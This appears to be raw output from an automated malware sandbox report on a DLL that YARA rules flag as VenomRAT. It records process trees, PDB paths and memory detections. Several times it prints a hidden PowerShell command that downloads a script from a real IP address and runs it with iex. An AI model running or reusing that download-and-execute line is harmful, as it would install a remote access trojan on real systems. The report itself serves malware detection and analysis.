Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: iviewers.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: iviewers.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: iviewers.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: iviewers.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: iviewers.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: iviewers.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: iviewers.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: iviewers.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.pdb source: powershell.exe, 0000000E.00000002.2331414790.0000000007B71000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Administrator\source\repos\Project9\Release\Project9.pdb source: loaddll32.exe, 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmp, regsvr32.exe, 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2392990331.000000006E9BF000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.2428661230.000000006E9BF000.00000002.00000001.01000000.00000003.sdmp, iviewers.dll
Source:	Binary string: q:C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.pdb source: powershell.exe, 0000000D.00000002.2328638623.00000000057B8000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q:C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.pdb source: powershell.exe, 00000011.00000002.2302627366.0000000004C4F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q:C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.pdb source: powershell.exe, 0000000E.00000002.2277511320.00000000058E9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.pdb source: powershell.exe, 0000000D.00000002.2319590984.000000000361A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb] source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.pdb source: powershell.exe, 0000000F.00000002.2374643242.0000000007654000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: q:C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.pdb source: powershell.exe, 0000000F.00000002.2279154192.000000000527F000.00000004.00000800.00020000.00000000.sdmp

Source: iviewers.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: iviewers.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: iviewers.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: iviewers.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: iviewers.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.cmdline"

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\iviewers.dll

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E9BE864 push ecx; ret	0_2_6E9BE877
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_6E9BE864 push ecx; ret	3_2_6E9BE877
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E9BE864 push ecx; ret	4_2_6E9BE877
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_034C3AAD pushad ; iretd	13_2_034C3AC1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_06E04571 push es; ret	26_2_06E04580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_06E0DD40 push es; ret	26_2_06E0DD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_078E3E33 push esp; iretd	26_2_078E3E34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_078E3DFB push esp; iretd	26_2_078E3DFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_078E4036 push esp; iretd	26_2_078E4037

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.dll	Jump to dropped file

Boot Survival

Yara detected VenomRAT

Source: Yara match	File source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7436, type: MEMORYSTR

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
